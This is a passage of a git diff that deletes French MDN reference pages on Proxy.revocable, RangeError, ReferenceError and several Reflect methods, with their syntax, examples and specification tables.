{{Compat("javascript.builtins.Proxy", 2)}}

- -

Voir aussi

- - - -

Notes de licence

- -

Certains composants de cette page (texte, exemples) ont été copiés ou adaptés du Wiki ECMAScript dont le contenu est sous licence CC 2.0 BY-NC-SA.

diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html deleted file mode 100644 index 794c7f95be..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Proxy.revocable() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/revocable -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/revocable ---- -
{{JSRef}}
- -

La méthode Proxy.revocable() est utilisée afin de créer un objet {{jsxref("Proxy")}} révocable.

- -

Syntaxe

- -
Proxy.revocable(cible, gestionnaire);
-
- -

Paramètres

- -
{{Page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy", "Paramètres")}}
- -

Valeur de retour

- -

Un nouvel objet Proxy révocable est renvoyé par la méthode.

- -

Description

- -

Un Proxy révocable est un objet qui possède les propriétés suivantes : {proxy: proxy, revoke: revoke}.

- -
-
proxy
-
Un proxy crée avec un appel à new Proxy(cible, gestionnaire).
-
revoke
-
Une fonction sans argument qui permet de désactiver le proxy.
-
- -

Si la fonction revoke() est appelée, le proxy devient inutilisable et toutes les trappes définies via un gestionnaire lèveront une exception {{jsxref("TypeError")}}. Une fois que le proxy est révoqué, il conserve cet état et peut être traité par le ramasse-miettes. D'éventuels appels suivants à revoke() n'auront aucun effet.

- -

Exemples

- -
var révocable = Proxy.revocable({}, {
-  get: function(cible, nom) {
-    return "[[" + nom + "]]";
-  }
-});
-var proxy = révocable.proxy;
-console.log(proxy.toto); // "[[toto]]"
-
-révocable.revoke();
-
-console.log(proxy.toto); // TypeError est levée
-proxy.toto = 1           // TypeError à nouveau
-delete proxy.toto        // TypeError toujours
-typeof proxy             // "object", typeof ne déclenche aucune trappe
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.revocable")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html b/files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html deleted file mode 100644 index e57f56c4dd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: RangeError -slug: Web/JavaScript/Reference/Objets_globaux/RangeError -tags: - - Error - - JavaScript - - RangeError - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/RangeError ---- -
{{JSRef}}
- -

L'objet RangeError permet d'indiquer une erreur lorsqu'une valeur fournie n'appartient pas à l'intervalle autorisé.

- -

Syntaxe

- -
new RangeError([message[, nomFichier[, numLigne]]])
- -

Paramètres

- -
-
message
-
Paramètre optionnel. Une description lisible (humainement) de l'erreur.
-
- -
-
nomFichier {{non-standard_inline}}
-
Paramètre optionnel. Le nom du fichier contenant le code à l'origine de cette exception.
-
- -
-
numLigne {{non-standard_inline}}
-
Paramètre optionnel. Le numéro de la ligne du code à l'origine de cette exception.
-
- -

Description

- -

Une exception RangeError est levée lorsqu'une valeur est passée comme argument à une fonction qui n'accepte pas de valeurs dans cet intervalle. Par exemple, cela peut être le cas quand on souhaite créer un tableau avec une longueur illégale via {{jsxref("Array")}} ou lorsqu'on passe des valeurs incorrectes aux méthodes {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} ou {{jsxref("Number.toPrecision()")}}. Cette exception n'est pas limitée aux problèmes d'intervalles numériques et peuvent également se produire lorsqu'on passe une valeur non autorisée à {{jsxref("String.prototype.normalize()")}}.

- -

Propriétés

- -
-
{{jsxref("RangeError.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à toutes les instances de RangeError.
-
- -

Méthodes

- -

L'objet global RangeError ne contient pas de méthodes propres mais héritent de certaines méthodes via la chaîne de prototypes.

- -

Instances de RangeError

- -

Propriétés

- -

{{ page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/RangeError/prototype','Properties') }}

- -

Méthodes

- -

{{ page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/RangeError/prototype','Methods') }}

- -

Exemples

- -

Utiliser RangeError

- -
var MIN = 200;
-var MAX = 300;
-var vérifier = function( num ) {
-  if( num < MIN || num > MAX ) {
-    throw new RangeError( "Le paramètre doit être compris entre " + MIN + " et " + MAX );
-  }
-};
-
-try {
-  vérifier(500);
-}
-catch (e) {
-  if (e instanceof RangeError ){
-    // On gère ce qui se passe en cas d'erreur
-  }
-}
- -

Utiliser RangeError avec des valeurs non-numériques

- -
function verifier(valeur){
-  if(["pomme", "banane", "carotte"].includes(valeur) === false){
-    throw new RangeError("L'argument n'est pas un fruit parmi pomme / banane ou carotte.");
-  }
-}
-
-try {
-  verifier("chou");
-}
-catch(erreur) {
-  if(erreur instanceof RangeError){
-    //On gère ce qui se passe en cas d'erreur
-  }
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.RangeError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("RangeError.prototype")}}
    • -
  • {{jsxref("Number.toExponential()")}}
    • -
  • {{jsxref("Number.toFixed()")}}
    • -
  • {{jsxref("Number.toPrecision()")}}
    • -
  • {{jsxref("String.prototype.normalize()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html deleted file mode 100644 index 1af96393bc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: RangeError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/RangeError/prototype -tags: - - Error - - JavaScript - - Propriété - - Prototype - - RangeError - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/RangeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype ---- -
{{JSRef}}
- -

La propriété RangeError.prototype représente le prototype du constructeur {{jsxref("RangeError")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Chacune des instances de {{jsxref("RangeError")}} hérite de RangeError.prototype. Le prototype peut être utilisé afin d'ajouter des propriétés et/ou des méthodes à toutes les instances.

- -

Propriétés

- -
-
RangeError.prototype.constructor
-
Définit la fonction qui a créé le prototype de l'instance.
-
{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}
-
Le nom de l'erreur. Bien que ECMA-262 spécifie que {{jsxref("RangeError")}} devrait fournir sa propre propriété message, dans SpiderMonkey, il l'hérite depuis {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}
-
Le nom de l'erreur, hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}
-
Le chemin vers le fichier qui a causé l'erreur, hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}
-
Le numéro de la ligne de code dans le fichier qui a causé l'erreur, hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}
-
La position du code (colonne) dans la ligne de code qui a causé l'erreur, héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}
-
Pile d'appels, héritée depuis {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que l'objet prototype {{jsxref("RangeError")}} ne possède pas de méthodes propres, les instances de RangeError hériteront de certaines méthodes via la chaîne de prototypes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Défini comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Défini comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Défini comme NativeError.prototype.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.RangeError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html b/files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html deleted file mode 100644 index 497cd92dd5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: ReferenceError -slug: Web/JavaScript/Reference/Objets_globaux/ReferenceError -tags: - - Error - - JavaScript - - Object - - Reference - - ReferenceError -translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError ---- -
{{JSRef}}
- -

L'objet ReferenceError représente une erreur qui se produit lorsqu'il est fait référence à une variable qui n'existe pas.

- -

Syntaxe

- -
new ReferenceError([message[, nomFichier[, numLigne]]])
- -

Paramètres

- -
-
message
-
Paramètre optionnel. Une description de l'erreur, lisible par un être humain.
-
nomFichier {{Non-standard_inline}}
-
Paramètre optionnel. Le nom du fichier qui contient le code à l'origine de l'exception.
-
numLigne {{Non-standard_inline}}
-
Paramètre optionnel. Le numéro de ligne dans le fichier qui contient le code à l'origine de l'exception.
-
- -

Description

- -

Une exception ReferenceError est lancée quand on tente de faire référence à une variable qui n'a pas été déclarée.

- -

Propriétés

- -
-
{{jsxref("ReferenceError.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à un objet ReferenceError.
-
- -

Méthodes

- -

L'objet global ReferenceError ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes via l'héritage et sa chaîne de prototypes.

- -

Instances de ReferenceError

- -

Propriétés

- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype','Properties')}}
- -

Méthodes

- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype','M.C3.A9thodes')}}
- -

Exemples

- -

Intercepter une exception ReferenceError

- -
try {
-  var a = variableNonDéfinie;
-} catch (e) {
-  console.log(e instanceof ReferenceError); // true
-  console.log(e.message);                   // "variableNonDéfinie is not defined"
-  console.log(e.name);                      // "ReferenceError"
-  console.log(e.fileName);                  // "Scratchpad/1"
-  console.log(e.lineNumber);                // 2
-  console.log(e.columnNumber);              // 6
-  console.log(e.stack);                     // "@Scratchpad/2:2:7\n"
-}
- -

Créer une exception ReferenceError

- -
try {
-  throw new ReferenceError('Bonjour', 'unFichier.js', 10);
-} catch (e) {
-  console.log(e instanceof ReferenceError); // true
-  console.log(e.message);                   // "Bonjour"
-  console.log(e.name);                      // "ReferenceError"
-  console.log(e.fileName);                  // "unFichier.js"
-  console.log(e.lineNumber);                // 10
-  console.log(e.columnNumber);              // 0
-  console.log(e.stack);                     // "@Scratchpad/2:2:9\n"
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.ReferenceError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("ReferenceError.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html deleted file mode 100644 index bdbf50f34c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: ReferenceError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype -tags: - - Error - - JavaScript - - Propriété - - Prototype - - Reference - - ReferenceError -translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError -translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype ---- -
{{JSRef}}
- -

La propriété ReferenceError.prototype représente le prototype du constructeur {{jsxref("ReferenceError")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Toutes les instances de {{jsxref("ReferenceError")}} héritent de ReferenceError.prototype. Le prototype peut être utilisé pour ajouter des propriétés ou des méthodes à chacune des instances.

- -

Propriétés

- -
-
ReferenceError.prototype.constructor
-
Définit la fonction utilisée pour créer une instance du prototype.
-
{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}
-
Le message de l'erreur. Bien que ECMA-262 spécifie que ReferenceError devrait posséder une propriété message en propre, SpiderMonkey lui fait hériter de {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}
-
Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}
-
Le chemin du fichier à l'origine de cette erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}
-
Le numéro de la ligne dans le fichier à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}
-
Le numéro de la colonne parmi la ligne à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}
-
La pile d'appels, héritée de {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que l'objet prototype pour {{jsxref("ReferenceError")}} ne contienne aucune méthode propre, les instances de ReferenceError héritent de certaines méthodes via la chaîne de prototypes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Défini comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Défini comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Défini comme NativeError.prototype.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.ReferenceError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html deleted file mode 100644 index b6f27bc995..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Reflect.apply() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/apply -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/apply ---- -
{{JSRef}}
- -

La méthode statique Reflect.apply() permet d'appeler une fonction cible avec des arguments donnés.

- -
{{EmbedInteractiveExample("pages/js/reflect-apply.html")}}
- - - -

Syntaxe

- -
Reflect.apply(cible, argumentThis, listeArguments)
-
- -

Paramètres

- -
-
cible
-
La fonction cible à appeler.
-
argumentThis
-
La valeur fournie pour this lors de l'appel à cible.
-
listeArguments
-
Un objet semblable à un tableau qui définit les arguments à passer à cible. S'il vaut {{jsxref("null")}} ou {{jsxref("undefined")}}, aucun argument ne sera passé.
-
- -

Valeur de retour

- -

Le résultat de l'appel de la fonction cible indiquée avec la valeur this et les arguments indiqués.

- -

Exceptions levées

- -

Une exception {{jsxref("TypeError")}}, si cible ne peut pas être appelée.

- -

Description

- -

Avec ES5, on utilise généralement {{jsxref("Function.prototype.apply()")}} pour appeler une fonction avec une valeur this donnée et des arguments donnés.

- -
Function.prototype.apply.call(Math.floor, undefined, [1.75]);
- -

Reflect.apply permet de rendre cela plus concis et facile à comprendre.

- -

Exemples

- -
Reflect.apply(Math.floor, undefined, [1.75]);
-// 1;
-
-Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
-// "hello"
-
-Reflect.apply(RegExp.prototype.exec, /ab/, ["confabulation"]).index;
-// 4
-
-Reflect.apply("".charAt, "poneys", [3]);
-// "e"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.apply', 'Reflect.apply')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.apply")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Function.prototype.apply()")}}
    • -
diff --git "a/files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_m\303\251thodes_object/index.html" "b/files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_m\303\251thodes_object/index.html" deleted file mode 100644 index 2c8844e085..0000000000 --- "a/files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_m\303\251thodes_object/index.html" +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Comparaison entre Reflect et les méthodes d'Object -slug: >- - Web/JavaScript/Reference/Objets_globaux/Reflect/Comparaison_entre_Reflect_et_les_méthodes_Object -tags: - - Aperçu - - Intermédiaire - - JavaScript - - Object - - Reflect -translation_of: >- - Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods ---- -
{{jssidebar}}
- -

L'objet {{jsxref("Reflect")}}, introduit avec ES2015, est un objet natif fournissant des méthodes pour s'interfacer avec les objets JavaScript. Certaines fonctions statiques de Reflect ont une correspondance avec les méthodes fournies par {{jsxref("Object")}} et disponibles avant ES2015. Bien que ces méthodes aient un comportement similaire, il y a souvent de subtiles différences entre elles.

- -

Dans ce tableau, nous énumérons les différences entre les méthodes disponibles avec Object et Reflect. Si une méthode n'existe pas dans le cas indiqué, elle sera notée N/A.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de la méthodeObjectReflect
defineProperty(){{jsxref("Object.defineProperty()")}} renvoie l'objet qui a été passé à la fonction. Déclenche une exception TypeError si la propriété n'a pu être définie sur l'objet.{{jsxref("Reflect.defineProperty()")}} renvoie true si la propriété a été définie sur l'objet et false sinon.
defineProperties(){{jsxref("Object.defineProperties()")}} renvoie les objets passés à la fonction. Déclenche une exception TypeError si une des propriétés n'a pu être définie.N/A
set()N/A{{jsxref("Reflect.set()")}} renvoie true si la propriété a été définie sur l'objet et false sinon. Déclenche une exception TypeError si la cible n'était pas un Object.
get()N/A{{jsxref("Reflect.get()")}} renvoie la valeur de la propriété. Déclenche une exception TypeError si la cible n'était pas un Object.
deleteProperty()N/A{{jsxref("Reflect.deleteProperty()")}} renvoie true si la propriété a été supprimée de l'objet et false sinon.
getOwnPropertyDescriptor(){{jsxref("Object.getOwnPropertyDescriptor()")}} renvoie un descripteur de la propriété si elle existe sur l'objet passé en argument. Si la propriété n'existe pas, la méthode renvoie undefined. Si la valeur passée en premier argument n'est pas un objet, elle sera automatiquement convertie en un objet.{{jsxref("Reflect.getOwnPropertyDescriptor()")}} renvoie un descripteur de la propriété si elle existe sur l'objet et undefined si elle n'existe pas. Déclenche une exception TypeError si la valeur passée en premier argument n'est pas un objet.
getOwnPropertyDescriptors(){{jsxref("Object.getOwnPropertyDescriptors()")}} renvoie un objet contenant un descripteur de propriété pour chaque objet passé en argument. Renvoie un objet vide si l'objet passé en argument ne contient pas les descripteurs.N/A
getPrototypeOf(){{jsxref("Object.getPrototypeOf()")}} renvoie le prototype de l'objet fourni. Renvoie null s'il n'y a pas de propriétés héritées. En ES5, déclenche une exception TypeError pour les valeurs qui ne sont pas des objets (pour ES6 et ensuite, les valeurs sont converties en objet).{{jsxref("Reflect.getPrototypeOf()")}} renvoie le prototype de l'objet fourni. Renvoie null s'il n'y a pas de propriétés héritées et déclenche une exception TypeError pour les valeurs qui ne sont pas des objets.
setPrototypeOf(){{jsxref("Object.setPrototypeOf()")}} renvoie l'objet fourni si le prototype a pu être défini. Déclenche une exception TypeError si le prototype utilisé n'était pas un objet ou null ou si le prototype de l'objet à modifier n'est pas extensible.{{jsxref("Reflect.setPrototypeOf()")}} renvoie true si le prototype a pu être défini sur l'objet et false sinon (y compris lorsque le prototype n'est pas extensible). Déclenche une exception TypeError si la cible passée n'est pas un objet ou si le prototype à appliquer n'est pas un objet ou n'est pas null.
isExtensible(){{jsxref("Object.isExtensible()")}} renvoie true si l'objet est extensible et false sinon. En ES5, déclenche une exception TypeError si le premier argument fourni n'est pas un objet. Avec ES6 et ensuite, si l'argument fourni est une valeur primitive, il est converti en un objet non-extensible et la méthode renvoie donc false. -

{{jsxref("Reflect.isExtensible()")}} renvoie true si l'objet est extensible et false sinon. Déclenche une exception TypeError si le premier argument n'est pas un objet.

-
preventExtensions() -

{{jsxref("Object.preventExtensions()")}} renvoie l'objet qui a été rendu non-extensible. En ES5, déclenche une exception si l'argument n'est pas un objet. Avec ES6 et ensuite, si l'argument fourni est une valeur primitive, il est converti en un objet non-extensible et c'est cette valeur qui est renvoyée.

- 		{{jsxref("Reflect.preventExtensions()")}} renvoie true si l'objet a été rendu non-extensible et false sinon. Déclenche une exception TypeError si l'argument n'est pas un objet.
keys(){{jsxref("Object.keys()")}} renvoie un tableau de chaînes de caractères qui sont les noms des propriétés propres (et énumérables) de l'objet. En ES5, déclenche une exception TypeError si la cible n'est pas un objet. Avec ES6 et les versions suivantes, les valeurs primitives sont converties en objets.N/A
ownKeys()N/A{{jsxref("Reflect.ownKeys()")}} renvoie un tableau des noms des propriétés pour les clés des propriétés propres de de l'objet. Déclenche une exception TypeError si la cible n'est pas un objet.
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html deleted file mode 100644 index 9f61844a66..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Reflect.construct() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/construct -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct ---- -
{{JSRef}}
- -

La méthode statique Reflect.construct() agit comme l'opérateur new sous la forme d'une fonction. Elle est équivalente à new cible(...args) et permet d'indiquer un prototype différent.

- -
{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}
- - - -

Syntaxe

- -
Reflect.construct(cible, listeArguments[, newCible])
-
- -

Paramètres

- -
-
cible
-
La fonction cible à appeler.
-
listeArguments
-
Un objet semblable à un tableau définissant les arguments à passer à cible lors de l'appel. Utiliser {{jsxref("null")}} ou {{jsxref("undefined")}} si aucun argument ne doit être fourni à la fonction.
-
newCible {{optional_inline}}
-
Le constructeur dont le prototype devrait être utilisé. Voir également l'opérateur new.target. Si newCible n'est pas présent, c'est cible qui sera utilisé.
-
- -

Valeur de retour

- -

Un nouvelle instance de la cible indiquée, créée en l'appelant comme un constructeur (ou en appelant newCible si elle est fournie) avec les arguments fournis.

- -

Exceptions levées

- -

Une exception {{jsxref("TypeError")}} si cible ou newCible ne sont pas des constructeurs.

- -

Description

- -

Reflect.construct() permet d'appeler un constructeur avec un nombre d'arguments variable (ce qui peut également être fait avec l'opérateur de décomposition et l'opérateur new).

- -
var obj = new Toto(...args);
-var obj = Reflect.construct(Toto, args);
- -

Exemples

- -

Utiliser Reflect.construct()

- -
var d = Reflect.construct(Date, [1776, 6, 4]);
-d instanceof Date; // true
-d.getFullYear(); // 1776
-
- -

Utiliser le paramètre newCible

- -

Pour plus d'informations sur la création de sous-classes, voir les classes et l'opérateur new.target.

- -
function unConstructeur() {}
-var résultat = Reflect.construct(Array, [], unConstructeur);
-
-Reflect.getPrototypeOf(résultat); // unConstructeur.prototype
-Array.isArray(résultat); // true
-
- -

Une comparaison entre Reflect.construct() et Object.create()

- -

Avant l'apparition de Reflect, on pouvait construire des objets avec une combinaison donnée de consttructeur et de prototype grâce à {{jsxref("Object.create()")}}.

- -
function MaClasseA() {
-  this.name = 'A';
-}
-
-function MaClasseB() {
-  this.name = 'B';
-}
-
-// Avec cette instruction :
-var obj1 = Reflect.construct(MaClasseA, args, MaClasseB);
-
-// on aura le même résultat qu'avec
-var obj2 = Object.create(MaClasseB.prototype);
-MaClasseA.apply(obj2, args);
-
-console.log(obj1.name); // 'A'
-console.log(obj2.name); // 'A'
-
-console.log(obj1 instanceof MaClasseA); // false
-console.log(obj2 instanceof MaClasseA); // false
-
-console.log(obj1 instanceof MaClasseB); // true
-console.log(obj2 instanceof MaClasseB); // true
-
- -

Toutefois, si les résultats sont identiques, il y a une différence notable. Lorsqu'on utilise Object.create() et Function.prototype.apply(), l'opérateur new.target pointe vers undefined dans la fonction utilisée comme constructeur car le mot-clé new n'est pas utilisé à la création de l'objet.

- -

Mais quand on appelle Reflect.construct(), new.target pointe vers la valeur fournie par newCible si ce dernier est fourni ou vers cible sinon.

- -
function MaClasseA() {
-  console.log('MaClasseA');
-  console.log(new.target);
-}
-function MaClasseB() {
-  console.log('MaClasseB');
-  console.log(new.target);
-}
-
-var obj1 = Reflect.construct(MaClasseA, args);
-// Résultat :
-//   MaClasseA
-//   function MaClasseA { ... }
-
-var obj2 = Reflect.construct(MaClasseA, args, MaClasseB);
-// Résultat :
-//   MaClasseA
-//   function MaClasseB { ... }
-
-var obj3 = Object.create(MaClasseB.prototype);
-MaClasseA.apply(obj3, args);
-// Résultat :
-//     MaClasseA
-//     undefined
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.construct', 'Reflect.construct')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.construct', 'Reflect.construct')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.construct")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html deleted file mode 100644 index 71d6e6b60f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Reflect.defineProperty() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/defineProperty -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty ---- -
{{JSRef}}
- -

La méthode statique Reflect.defineProperty() est semblable à {{jsxref("Object.defineProperty()")}} mais renvoie un {{jsxref("Boolean")}}.

- -
{{EmbedInteractiveExample("pages/js/reflect-defineproperty.html")}}
- - - -

Syntaxe

- -
Reflect.defineProperty(cible, cléPropriété, attributs)
-
- -

Paramètres

- -
-
cible
-
L'objet cible sur lequel on veut définir la propriété.
-
cléPropriété
-
Le nom de la propriété qu'on souhaite définir ou modifier.
-
attributs
-
Les attributs de de la propriété qu'on ajoute ou qu'on modifie.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la propriété a bien été définie.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.defineProperty permet d'ajouter ou de modifier finement une propriété d'un objet. Pour plus de détails, voir la méthode {{jsxref("Object.defineProperty")}} qui est très similaire. Object.defineProperty renvoie l'objet et lève une {{jsxref("TypeError")}} si la propriété n'a pas correctement été définie. Reflect.defineProperty renvoie simplement un {{jsxref("Boolean")}} qui indique si la propriété a été définie avec succès ou non.

- -

